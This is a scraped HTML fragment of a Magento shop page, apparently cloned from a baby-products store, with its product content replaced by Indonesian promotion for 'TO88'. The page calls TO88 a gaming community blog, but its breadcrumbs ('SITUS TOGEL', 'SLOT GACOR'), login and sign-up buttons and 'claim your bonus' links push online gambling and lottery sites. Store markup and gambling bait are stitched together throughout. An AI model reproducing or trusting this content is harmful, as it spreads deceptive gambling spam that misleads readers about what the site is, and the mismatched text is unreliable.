11439 11440 <main id="maincontent" class="page-main"> 11441 <div id="contentarea"></div> 11442 <div class="page messages"> 11443 <div data-placeholder="messages"></div> 11444 <div data-bind="scope: 'messages'"> 11445 <!-- ko if: cookieMessages && cookieMessages.length > 0 --><!-- /ko --> 11446 <!-- ko if: messages().messages && messages().messages.length > 0 --><!-- /ko --> 11447 </div> 11448
11448<script type="text/x-magento-init" data-breeze-processed="true"> { 11449 "*": { 11450 "Magento_Ui/js/core/app": { 11451 "components": { 11452 "messages": { 11453 "component": "Magento_Theme/js/view/messages" 11454 } 11455 } 11456 } 11457 } 11458 } 11459</script>
11459 11460 </div> 11461 <div class="columns"> 11462 <div class="column main"> 11463 <div class="product-info-wrapper"> 11464 <div class="product-info-main"> 11465 <style> 11466 .mpstorepickup-available-store-info { 11467 width: 78%; 11468 } 11469 11470 .mpstorepickup-pcs { 11471 right: 0; 11472 font-weight: 600; 11473 position: absolute; 11474 width: 20%; 11475 padding-right: 12px; 11476 } 11477 11478 .mpstorepickup-available { 11479 display: inline-flex; 11480 width: 100%; 11481 margin-bottom: 20px 11482 } 11483 11484 .mpstorepickup-available-content .pickup-checkbox { 11485 margin-top: -20px; 11486 } 11487 11488 /*.mpstorepickup-pcs.not-is-simple{*/ 11489 /* display: none;*/ 11490 /*}*/ 11491 .mpstorepickup-pcs .count:after { 11492 content: ' pcs.' 11493 } 11494 11495 #mpstorepickup-available-popup .store-pickup { 11496 margin-bottom: 14px; 11497 } 11498 </style> 11499 <style> 11500 .mpstorepickup-available-content .pickup-checkbox { 11501 cursor: pointer; 11502 } 11503 11504 .mfp-wrap { 11505 position: fixed; 11506 overflow: auto; 11507 } 11508 </style> 11509 <div class="product-info"> 11510 <div class="page-title-wrapper product"> 11511 <h1 class="page-title"> 11512 <span class="base" data-ui-id="page-title-wrapper" itemprop="name">TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi</span> 11513 </h1> 11514 </div> 11515 <div class="product-info-price"> 11516 <div class="price-box price-final_price" data-role="priceBox" data-product-id="600193" data-price-box="product-id-600193"> 11517 <div class="price-with-discount"> 11518 <span class="normal-price"> 11519 <span class="price-container price-final_price tax weee" itemprop="offers" itemscope="" itemtype="http://schema.org/Offer"> 11520 <span class="price-label">Serendah</span> 11521 <span id="product-price-600193" data-price-amount="5.000" data-price-type="finalPrice" class="price-wrapper "><span class="price">Rp 5.000</span></span> 11522 <meta itemprop="availability" content=""> 11523 <meta itemprop="shippingDetails" content=""> 11524 <meta itemprop="hasMerchantReturnPolicy" content=""> 11525 <meta itemprop="price" content="5.000"> 11526 <meta itemprop="priceCurrency" content="IDR"> 11527 </span> 11528
11528<script type="application/ld+json"> 11529 { 11530 "@context": "https://schema.org", 11531 "@type": "Organization", 11532 "name": "To88", 11533 "url": "https://www.entretiendecheveuxafro.com/blog/", 11534 "logo": "https://res.cloudinary.com/t04uaud0/image/upload/v1790673340/logo-to88.png", 11535 "description": "TO88 adalah blog komunitas untuk pencinta game online, menawarkan tips, trik, dan informasi terkini seputar dunia permainan. Bergabunglah dengan kami untuk meningkatkan keterampilan bermain Anda dan terhubung dengan gamer lainnya!", 11536 "foundingDate": "2024", 11537 "contactPoint": { 11538 "@type": "ContactPoint", 11539 "telephone": "+62-000-0000-0000", 11540 "contactType": "customer service", 11541 "areaServed": "ID", 11542 "availableLanguage": ["Indonesian"] 11543 }, 11544 "sameAs": ["https://facebook.com/To88", "https://instagram.com/To88 SLOT", "https://twitter.com/To88 LOGIN"] 11545 } 11546 </script>
11546 11547
11547<script type="application/ld+json"> 11548 { 11549 "@context": "https://schema.org", 11550 "@type": "BreadcrumbList", 11551 "itemListElement": [{ 11552 "@type": "ListItem", 11553 "position": 1, 11554 "name": "To88", 11555 "item": "https://www.entretiendecheveuxafro.com/blog/" 11556 }, { 11557 "@type": "ListItem", 11558 "position": 2, 11559 "name": "SITUS TOGEL", 11560 "item": "https://www.entretiendecheveuxafro.com/blog/" 11561 }, { 11562 "@type": "ListItem", 11563 "position": 3, 11564 "name": "SLOT GACOR", 11565 "item": "https://www.entretiendecheveuxafro.com/blog/" 11566 }] 11567 } 11568 </script>
11568 11569 </span> 11570 </div> 11571 </div> 11572 </div> 11573 <div class="kc-cashback check"> 11574 <a href="https://www.entretiendecheveuxafro.com/to88/" class="kc-points-lable"> 11575 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp" class="kcpoints-img" width="30px"> 11576 <span>Earn <span class="price">5.000</span> - <span class="price">50.000</span> Bonus</span> 11577 </a> 11578 </div> 11579 <div class="kredivo-label"> 11580 <div>Use Installment Options from<img class="kredivo-logo" style="width: 55px; margin: 0 5px;" src="https://www.mothercare.co.id/media/wysiwyg/kredivo/kredivo_logo.png" alt="">. <a href="https://www.mothercare.co.id/payment-method">Learn more</a></div> 11581 </div> 11582 <div class="available-block"> 11583 <div class="title"> 11584 <span class="avail-text">Available for :</span> 11585 </div> 11586 <div class="lables"> 11587 <div class="home-div"> 11588 <img src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Magento_Catalog/images/delivery.png" class="delivery-img"><span class="home">home delivery</span> 11589 </div> 11590 <div class="store-div"> 11591 <img src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Magento_Catalog/images/store-pick.png" class="home-pick-img"><span class="store">store pickup</span> 11592 </div> 11593 </div> 11594 </div> 11595 <div class="product attribute overview"> 11596 <h1>TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi</h1> 11597 <p>Selamat datang di <strong><a href="https://www.entretiendecheveuxafro.com/blog/">TO88</a>, blog yang didedikasikan untuk semua pencinta game online! Di sini, kami percaya bahwa berbagi informasi dan trik adalah kunci untuk meningkatkan pengalaman bermain game. Dengan komunitas yang aktif dan beragam, kami menyediakan berbagai artikel yang mencakup tips dan trik terbaru, ulasan game, serta berita terkini seputar dunia permainan. Apakah Anda seorang gamer kasual atau hardcore, TO88 memiliki sesuatu untuk semua orang!</p> 11598 <p>Kami memahami bahwa dunia game online bisa sangat kompetitif dan terkadang membingungkan. Oleh karena itu, kami berkomitmen untuk memberikan konten yang tidak hanya informatif tetapi juga mudah dipahami. Dari panduan pemula untuk game populer hingga strategi lanjutan untuk meningkatkan keterampilan Anda, setiap artikel dirancang untuk membantu Anda menjadi pemain yang lebih baik. Kami juga mendorong pembaca untuk berbagi pengalaman dan saran mereka di kolom komentar, sehingga kita semua dapat belajar satu sama lain.</p> 11599 <p>Tidak hanya itu, TO88 juga berfungsi sebagai wadah bagi para gamer untuk saling terhubung. Dengan forum diskusi dan grup media sosial, Anda dapat menemukan teman baru yang memiliki minat yang sama dan bertukar informasi tentang game favorit Anda. Jadi, jangan ragu untuk menjelajahi konten kami, berkontribusi dalam diskusi, dan menjadi bagian dari komunitas TO88. Mari bersama-sama menjadikan pengalaman bermain game kita lebih menyenangkan dan bermanfaat!</p> 11600 </strong> 11601 </div><strong> 11602 </strong> 11603 </div><strong> 11604 <div class="product-config"> 11605 <div class="product-add-form"> 11606 <form data-product-sku="52135545-AYO01" action="https://www.entretiendecheveuxafro.com/blog/" method="post" id="product_addtocart_form" novalidate="true" data-catalog-addtocart-initialized="1"> 11607 <input type="hidden" name="product" value="600193"> 11608 <input type="hidden" name="selected_configurable_option" value=""> 11609 <input type="hidden" name="related_product" id="related-products-field" value=""> 11610 <input type="hidden" name="item" value="600193"> 11611 <input name="form_key" type="hidden" value="WXedmSUjhhVyNrfm"> 11612 <div class="product-options-wrapper" id="product-options-wrapper" data-hasrequired="* Wajib diisi"> 11613 <div class="fieldset" tabindex="0"> 11614 <div class="swatch-opt" data-role="swatch-options"></div> 11615 </div> 11616 </div> 11617 <div class="product-options-bottom"> 11618 <div class="box-tocart"> 11619 <div class="fieldset fieldset-cust"> 11620 <div class="field qty"> 11621 <label class="label" for="qty"><span>choose qty</span></label> 11622 <div class="control"> 11623 <select name="qty" id="qty" value="1" title="Qty" class="input-text qty"> 11624 <option value="1" selected="">1</option> 11625 <option value="2">2</option> 11626 <option value="3">3</option> 11627 <option value="4">4</option> 11628 <option value="5">5</option> 11629 <option value="6">6</option> 11630 <option value="7">7</option> 11631 <option value="8">8</option> 11632 <option value="9">9</option> 11633 <option value="10">10</option> 11634 </select> 11635 <div><span style="color: red" id="show_message"></span></div> 11636 <input type="hidden" name="val_hidden" id="val_hidden" value="1"> 11637 </div> 11638 </div> 11639 <div class="actions"> 11640 <a href="https://www.entretiendecheveuxafro.com/to88/"><button type="button" title="add to cart" class="action primary tocart" id="product-addtocart-button" style="background: linear-gradient(135deg, #780f0f, #931d1d);">
11641 <span>LOGIN</span></button></a> 11642 <a href="https://www.entretiendecheveuxafro.com/to88/" class="action towishlist" data-action="add-to-wishlist"><span>DAFTAR</span></a> 11643 <div id="giftreg-message-pdp" style=""> 11644 <a href="https://www.entretiendecheveuxafro.com/to88/" class="notlogingift"> 11645 <img src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Kanmo_CustomerDetail/images/gift.png" alt=""> CLAIM YOUR BONUS </a> 11646 </div> 11647
11647<script type="text/x-magento-init" data-breeze-processed="true"> { 11648 "body": { 11649 "addToWishlist": {"productType":"configurable","giftcardInfo":"[id^=giftcard]"} } 11650 } 11651</script>
11651 11652 </div> 11653 </div> 11654 </div> 11655 <!--Product video logic--> 11656
11656<script type="text/x-magento-init" data-breeze-processed="true"> { 11657 "#product_addtocart_form": { 11658 "Magento_Catalog/product/view/validation": { 11659 "radioCheckboxClosest": ".nested" 11660 } 11661 } 11662 } 11663</script>
11663 11664
11664<script type="text/x-magento-init" data-breeze-processed="true"> { 11665 "#product_addtocart_form": { 11666 "catalogAddToCart": { 11667 "bindSubmit": true 11668 } 11669 } 11670 } 11671 </script>
11671 11672 </div> 11673 </form> 11674 </div> 11675
11675<script type="text/x-magento-init" data-breeze-processed="true"> { 11676 "[data-role=priceBox][data-price-box=product-id-600193]": { 11677 "priceBox": { 11678 "priceConfig": {"productId":600193,"priceFormat":{"pattern":"Rp %s","precision":2,"requiredPrecision":0,"decimalSymbol":",","groupSymbol":".","groupLength":3,"integerRequired":false},"prices":{"baseOldPrice":{"amount":10000,"adjustments":[]},"oldPrice":{"amount":10000,"adjustments":[]},"basePrice":{"amount":10000,"adjustments":[]},"finalPrice":{"amount":10000,"adjustments":[]}},"idSuffix":"_clone","tierPrices":[],"calculationAlgorithm":"UNIT_BASE_CALCULATION"} } 11679 } 11680 } 11681</script>
11681 11682 <!--
11682<script> 11683// When the user clicks on div, open the popup 11684function myFunction() { 11685 var popup = document.getElementById("size-chart"); 11686 popup.classList.toggle("show"); 11687} 11688</script>
11688 --> 11689
11689<script data-breeze=""> 11690 require(['jquery'], ($) => { 11691 $(document).ready(function() { 11692 // Get the modal 11693 var modal = document.getElementById("myModals"); 11694 // Get the <span> element that closes the modal 11695 var span = document.getElementsByClassName("close-icon")[0]; 11696 // When the user clicks the button, open the modal 11697 $('#myBtns').on("click", function(e) { 11698 $('#myModals').show(); 11699 }); 11700 // When the user clicks the button, open the modal 11701 $('#myBtns').on("click", function(e) { 11702 $('#myModals').show(); 11703 }); 11704 // When the user clicks the button, close the modal 11705 $('.close-icon').on("click", function(e) { 11706 $('#myModals').hide(); 11707 }); 11708 // When the user clicks on <span> (x), close the modal 11709 if (!typeof span === 'undefined') { 11710 span.onclick = function() { 11711 modal.style.display = "none"; 11712 } 11713 } 11714 // When the user clicks anywhere outside of the modal, close it 11715 window.onclick = function(event) { 11716 if (event.target == modal) { 11717 modal.style.display = "none"; 11718 } 11719 } 11720 }); 11721 }); 11722 </script>
11722 11723 <style> 11724 /* Add Animation */ 11725 @media screen and (max-width: 767px) { 11726 #myModals { 11727 animation: mymovess 2s; 11728 animation-fill-mode: forwards; 11729 } 11730 } 11731 11732 @keyframes mymovess { 11733 from { 11734 bottom: 0px; 11735 } 11736 11737 to { 11738 bottom: 200px; 11739 } 11740 } 11741 11742 h5#content-baby { 11743 font-family: 'Mothercare 2020'; 11744 font-style: normal; 11745 font-weight: 600; 11746 font-size: 32px; 11747 line-height: 150%; 11748 text-align: center; 11749 letter-spacing: -0.011em; 11750 color: #7d1616; 11751 } 11752 11753 h5#content-baby { 11754 font-family: 'Mothercare 2020'; 11755 font-style: normal; 11756 font-weight: 600; 11757 font-size: 32px; 11758 line-height: 150%; 11759 text-align: center; 11760 letter-spacing: -0.011em; 11761 color: #7d1616; 11762 margin-bottom: 1em; 11763 } 11764 11765 a.sizechart-link { 11766 position: relative; 11767 top: -20.5em; 11768 font-style: normal; 11769 font-weight: 600; 11770 font-size: 14px; 11771 line-height: 19px; 11772 text-align: left; 11773 text-decoration-line: underline; 11774 text-transform: lowercase; 11775 color: #7d1616; 11776 font-family: 'mothercare_2020-regular-webfont'; 11777 } 11778 11779 @media screen and (max-width: 767px) { 11780 a.sizechart-link { 11781 top: -17.5em; 11782 } 11783 } 11784 </style> 11785 <div class="sharing-buttons"> 11786 <label>Share product:</label> 11787 <div class="sharethis-inline-share-buttons"></div> 11788 <!--
11788<script type="text/javascript" src="//platform-api.sharethis.com/js/sharethis.js#property=58afdee0eeab5d00125e8fd6&product=inline-share-buttons"></script>
11788--> 11789 <!--
11789<script type='text/javascript' src='//platform-api.sharethis.com/js/sharethis.js#property=5baf03a9752ef70011efcea0&product=inline-share-buttons' async='async'></script>
11789--> 11790
11790<script type="text/javascript" src="//platform-api.sharethis.com/js/sharethis.js#property=5baf03a9752ef70011efcea0&product=inline-share-buttons"></script>
11790 11791 </div> 11792 </div> 11793 </strong> 11794 </div> 11795 <div class="product media"><strong> 11796 <div class="breeze-gallery horizontal"> 11797 <div class="stage " data-gallery-role="gallery-placeholder"> 11798 <div class="main-image-wrapper"> 11799 <img alt="" class="main-image" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp" width="608" height="608"> 11800 </div> 11801 <a href="https://www.entretiendecheveuxafro.com/blog/" class="prev" tabindex="-1"> 11802 <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor"> 11803 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 19l-7-7 7-7"></path> 11804 </svg> 11805 </a> 11806 <a href="https://www.entretiendecheveuxafro.com/blog/" class="next" tabindex="-1"> 11807 <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor"> 11808 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7"></path> 11809 </svg> 11810 </a> 11811 <div class="controls"> 11812 <a href="https://www.entretiendecheveuxafro.com/blog/" class="zoom zoom-in"> 11813 <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"> 11814 <path stroke-linecap="round" stroke-linejoin="round" d="M12 4v16m8-8H4"></path> 11815 </svg> 11816 </a> 11817 <a href="https://www.entretiendecheveuxafro.com/blog/" class="zoom zoom-out"> 11818 <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"> 11819 <path stroke-linecap="round" stroke-linejoin="round" d="M20 12H4"></path> 11820 </svg> 11821 </a> 11822 </div> 11823 <a href="https://www.entretiendecheveuxafro.com/blog/" class="close"> 11824 <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor"> 11825 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path> 11826 </svg> 11827 </a> 11828 </div> 11829 <div class="thumbnails "> 11830 <a class="item active" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11831 <span class="slide-image-container"> 11832 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11833 </span> 11834 </a> 11835 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11836 <span class="slide-image-container"> 11837 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11838 </span> 11839 </a> 11840 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11841 <span class="slide-image-container"> 11842 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11843 </span> 11844 </a> 11845 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11846 <span class="slide-image-container"> 11847 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11848 </span> 11849 </a> 11850 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image">
11851 <span class="slide-image-container"> 11852 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11853 </span> 11854 </a> 11855 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11856 <span class="slide-image-container"> 11857 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11858 </span> 11859 </a> 11860 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11861 <span class="slide-image-container"> 11862 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11863 </span> 11864 </a> 11865 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11866 <span class="slide-image-container"> 11867 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11868 </span> 11869 </a> 11870 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/" title="View Image"> 11871 <span class="slide-image-container"> 11872 <img loading="lazy" alt="" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp"> 11873 </span> 11874 </a> 11875 </div> 11876 </div> 11877
11877<script type="text/x-magento-template" id="gallery-thumbnail"> <a class="<%- classes %>" href="<%- full %>"> 11878 <span class="slide-image-container"> 11879 <img loading="lazy" alt="<%- caption %>" 11880 src="<%- thumb %>" 11881 srcset="<%- srcset ? srcset.small : '' %>" 11882 sizes="110px" 11883 width="110" 11884 height="110" 11885 /> 11886 </span> 11887 </a> 11888</script>
11888 11889 <!--
11889<script data-breeze> 11890 require(['jquery'], ($) => { 11891 $('.thumbnails').pagebuilderSlider({ 11892 dots: true, 11893 arrows: true 11894 }); 11895 }); 11896</script>
11896 --> 11897
11897<script type="text/x-magento-init" data-breeze-processed="true"> { 11898 "[data-gallery-role=gallery-placeholder]": { 11899 "Magento_ProductVideo/js/fotorama-add-video-events": { 11900 "videoData": [{"mediaType":"image","videoUrl":null,"isBase":true},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false}], 11901 "videoSettings": [{"playIfBase":"0","showRelated":"0","videoAutoRestart":"0"}], 11902 "optionsVideoData": {"598663":[{"mediaType":"image","videoUrl":null,"isBase":true},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false},{"mediaType":"image","videoUrl":null,"isBase":false}]} } 11903 } 11904 } 11905</script>
11905 11906 </strong></div> 11907 </div><strong> 11908 <div class="product info detailed"> 11909 </div> 11910 <input name="form_key" type="hidden" value="WXedmSUjhhVyNrfm"> 11911
11911<script data-breeze=""> 11912 var sectionsConfig = { 11913 sections: { 11914 "stores\/store\/switch": ["*"], 11915 "stores\/store\/switchrequest": ["*"], 11916 "directory\/currency\/switch": ["*"], 11917 "*": ["messages", "company", "personal-data"], 11918 "customer\/account\/logout": ["*", "recently_viewed_product", "recently_compared_product", "persistent"], 11919 "customer\/account\/loginpost": ["*"], 11920 "customer\/account\/createpost": ["*"], 11921 "customer\/account\/editpost": ["*"], 11922 "customer\/ajax\/login": ["checkout-data", "cart", "captcha"], 11923 "catalog\/product_compare\/add": ["compare-products", "ajaxpro-reinit"], 11924 "catalog\/product_compare\/remove": ["compare-products", "ajaxpro-reinit"], 11925 "catalog\/product_compare\/clear": ["compare-products", "ajaxpro-reinit"], 11926 "sales\/guest\/reorder": ["cart", "ammessages"], 11927 "sales\/order\/reorder": ["cart", "ammessages"], 11928 "rest\/v1\/requisition_lists": ["requisition"], 11929 "requisition_list\/requisition\/delete": ["requisition"], 11930 "requisition_list\/item\/addtocart": ["cart"], 11931 "checkout\/cart\/add": ["cart", "directory-data", "ammessages", "ajaxpro-cart"], 11932 "checkout\/cart\/delete": ["cart", "ammessages", "ajaxpro-cart"], 11933 "checkout\/cart\/updatepost": ["cart", "ammessages", "ajaxpro-cart"], 11934 "checkout\/cart\/updateitemoptions": ["cart", "ammessages", "ajaxpro-cart"], 11935 "checkout\/cart\/couponpost": ["cart", "ammessages", "ajaxpro-cart"], 11936 "checkout\/cart\/estimatepost": ["cart", "ammessages", "ajaxpro-cart"], 11937 "checkout\/cart\/estimateupdatepost": ["cart", "ammessages", "ajaxpro-cart"], 11938 "checkout\/onepage\/saveorder": ["cart", "checkout-data", "last-ordered-items", "ammessages"], 11939 "checkout\/sidebar\/removeitem": ["cart", "ammessages"], 11940 "checkout\/sidebar\/updateitemqty": ["cart", "ammessages"], 11941 "rest\/*\/v1\/carts\/*\/payment-information": ["cart", "last-ordered-items", "captcha", "instant-purchase", "ammessages", "osc-data"], 11942 "rest\/*\/v1\/guest-carts\/*\/payment-information": ["cart", "captcha", "ammessages", "osc-data"], 11943 "rest\/*\/v1\/guest-carts\/*\/selected-payment-method": ["cart", "checkout-data", "ammessages", "osc-data"], 11944 "rest\/*\/v1\/carts\/*\/selected-payment-method": ["cart", "checkout-data", "instant-purchase", "ammessages", "osc-data"], 11945 "wishlist\/index\/add": ["wishlist", "ajaxpro-reinit"], 11946 "wishlist\/index\/remove": ["wishlist", "ajaxpro-reinit"], 11947 "wishlist\/index\/updateitemoptions": ["wishlist"], 11948 "wishlist\/index\/update": ["wishlist"], 11949 "wishlist\/index\/cart": ["wishlist", "cart", "ajaxpro-cart"], 11950 "wishlist\/index\/fromcart": ["wishlist", "cart", "ajaxpro-cart"], 11951 "wishlist\/index\/allcart": ["wishlist", "cart"], 11952 "wishlist\/shared\/allcart": ["wishlist", "cart"], 11953 "wishlist\/shared\/cart": ["cart"], 11954 "customer_order\/cart\/updatefaileditemoptions": ["cart"], 11955 "checkout\/cart\/updatefaileditemoptions": ["cart"], 11956 "customer_order\/cart\/advancedadd": ["cart"], 11957 "checkout\/cart\/advancedadd": ["cart"], 11958 "checkout\/cart\/removeallfailed": ["cart"], 11959 "checkout\/cart\/removefailed": ["cart"], 11960 "customer_order\/cart\/addfaileditems": ["cart"], 11961 "checkout\/cart\/addfaileditems": ["cart"], 11962 "customer_order\/sku\/uploadfile": ["cart"], 11963 "giftregistry\/index\/cart": ["cart"], 11964 "giftregistry\/view\/addtocart": ["cart"], 11965 "customer\/address\/*": ["instant-purchase"], 11966 "customer\/account\/*": ["instant-purchase"], 11967 "vault\/cards\/deleteaction": ["instant-purchase"], 11968 "multishipping\/checkout\/overviewpost": ["cart", "ammessages"], 11969 "wishlist\/index\/copyitem": ["wishlist"], 11970 "wishlist\/index\/copyitems": ["wishlist"], 11971 "wishlist\/index\/deletewishlist": ["wishlist", "multiplewishlist"], 11972 "wishlist\/index\/createwishlist": ["multiplewishlist"], 11973 "wishlist\/index\/editwishlist": ["multiplewishlist"], 11974 "wishlist\/index\/moveitem": ["wishlist"], 11975 "wishlist\/index\/moveitems": ["wishlist"], 11976 "wishlist\/search\/addtocart": ["cart", "wishlist"],
11977 "paypal\/express\/placeorder": ["cart", "checkout-data", "ammessages"], 11978 "paypal\/payflowexpress\/placeorder": ["cart", "checkout-data", "ammessages"], 11979 "paypal\/express\/onauthorization": ["cart", "checkout-data", "ammessages"], 11980 "rest\/*\/v1\/carts\/*\/po-payment-information": ["cart", "checkout-data", "last-ordered-items"], 11981 "purchaseorder\/purchaseorder\/success": ["cart", "checkout-data", "last-ordered-items"], 11982 "persistent\/index\/unsetcookie": ["persistent"], 11983 "quickorder\/sku\/uploadfile\/": ["cart"], 11984 "review\/product\/post": ["review"], 11985 "amasty_promo\/cart\/add": ["cart", "ammessages"], 11986 "braintree\/paypal\/placeorder": ["ammessages", "cart", "checkout-data"], 11987 "authorizenet\/directpost_payment\/place": ["ammessages"], 11988 "rest\/*\/v1\/carts\/*\/update-item": ["cart", "checkout-data"], 11989 "rest\/*\/v1\/guest-carts\/*\/update-item": ["cart", "checkout-data"], 11990 "rest\/*\/v1\/guest-carts\/*\/remove-item": ["cart", "checkout-data"], 11991 "rest\/*\/v1\/carts\/*\/remove-item": ["cart", "checkout-data"], 11992 "kanmopopup\/catalog\/popupaddtocart": ["cart"], 11993 "stylaconnect2page\/cart\/add": ["cart"], 11994 "braintree\/googlepay\/placeorder": ["cart", "checkout-data"] 11995 }, 11996 clientSideSections: ["checkout-data", "cart-data", "osc-data"], 11997 baseUrls: ["https:\/\/www.mothercare.co.id\/"], 11998 sectionNames: ["messages", "customer", "compare-products", "last-ordered-items", "requisition", "cart", "directory-data", "captcha", "wishlist", "company", "company_authorization", "negotiable_quote", "instant-purchase", "loggedAsCustomer", "multiplewishlist", "purchase_order", "persistent", "review", "ammessages", "personal-data", "ajaxpro-reinit", "ajaxpro-cart", "ajaxpro-product", "recently_viewed_product", "recently_compared_product", "product_data_storage", "paypal-billing-agreement"] 11999 } 12000 </script>
12000 12001
12001<script data-breeze=""> 12002 var customerDataConfig = { 12003 "sectionLoadUrl": "https\u003A\u002F\u002Fwww.mothercare.co.id\u002Fcustomer\u002Fsection\u002Fload\u002F", 12004 "expirableSectionLifetime": 129600, 12005 "expirableSectionNames": ["cart", "persistent", "ajaxpro-reinit", "ajaxpro-cart", "ajaxpro-product"], 12006 "cookieLifeTime": "3600", 12007 "updateSessionUrl": "https\u003A\u002F\u002Fwww.mothercare.co.id\u002Fcustomer\u002Faccount\u002FupdateSession\u002F" 12008 } 12009 </script>
12009 12010
12010<script type="text/x-magento-init" data-breeze-processed="true"> { 12011 "*": { 12012 "Magento_Customer/js/invalidation-processor": { 12013 "invalidationRules": { 12014 "website-rule": { 12015 "Magento_Customer/js/invalidation-rules/website-rule": { 12016 "scopeConfig": { 12017 "websiteId": "3" 12018 } 12019 } 12020 } 12021 } 12022 } 12023 } 12024 } 12025</script>
12025 12026
12026<script type="text/x-magento-init" data-breeze-processed="true"> { 12027 "body": { 12028 "pageCache": {"url":"https:\/\/www.mothercare.co.id\/page_cache\/block\/render\/id\/600193\/","handles":["default","catalog_product_view","catalog_product_view_type_configurable","catalog_product_view_id_600193","catalog_product_view_sku_52135545-AYO01","customer_logged_out","breeze_default","breeze_catalog_product_view","breeze_catalog_product_view_type_configurable","breeze_catalog_product_view_id_600193","breeze_catalog_product_view_sku_52135545-AYO01","breeze_customer_logged_out","breeze_theme","breeze"],"originalRequest":{"route":"catalog","controller":"product","action":"view","uri":"\/nordic-naturals-baby-s-dha-52135545-AYO01.html"},"versionCookieName":"private_content_version"} } 12029 } 12030</script>
12030 12031
12031<script type="text/x-magento-init" data-breeze-processed="true"> { 12032 "*": { 12033 "Magento_Banner/js/model/banner": 12034 {"sectionLoadUrl":"https:\/\/www.mothercare.co.id\/banner\/ajax\/load\/","cacheTtl":30000} } 12035} 12036</script>
12036 12037
12037<script type="text/x-magento-init" data-breeze-processed="true"> {"*":{"Styla_Connect2\/js\/cart-update":[]}}</script>
12037 12038
12038<script async="" src="https://maps.google.com/maps/api/js?key=%0D%0AAIzaSyDplibAigLzCfOinyzZuMCyzxCkv2FLkw0&libraries=places,geometry"> 12039 </script>
12039 12040
12040<script type="text/x-magento-init" data-breeze-processed="true"> { 12041 "body": { 12042 "requireCookie": {"noCookieUrl":"https:\/\/www.mothercare.co.id\/cookie\/index\/noCookies\/","triggers":[".review .action.submit"],"isRedirectCmsPage":true} } 12043 } 12044</script>
12044 12045
12045<script type="text/x-magento-init" data-breeze-processed="true"> { 12046 "*": { 12047 "Magento_Catalog/js/product/view/provider": { 12048 "data": {"items":{"600193":{"add_to_cart_button":{"post_data":"{\"action\":\"https:\\\/\\\/www.mothercare.co.id\\\/checkout\\\/cart\\\/add\\\/uenc\\\/%25uenc%25\\\/product\\\/600193\\\/\",\"data\":{\"product\":\"600193\",\"uenc\":\"%uenc%\"}}","url":"https:\/\/www.mothercare.co.id\/checkout\/cart\/add\/uenc\/%25uenc%25\/product\/600193\/","required_options":true},"add_to_compare_button":{"post_data":null,"url":"{\"action\":\"https:\\\/\\\/www.mothercare.co.id\\\/catalog\\\/product_compare\\\/add\\\/\",\"data\":{\"product\":\"600193\",\"uenc\":\"aHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9ub3JkaWMtbmF0dXJhbHMtYmFieS1zLWRoYS01MjEzMDEyNS1jbm8wMS5odG1s\"}}","required_options":null},"price_info":{"final_price":10000,"max_price":10000,"max_regular_price":10000,"minimal_regular_price":10000,"special_price":null,"minimal_price":10000,"regular_price":10000,"formatted_prices":{"final_price":"<span class=\"price\">Rp 5.000<\/span>","max_price":"<span 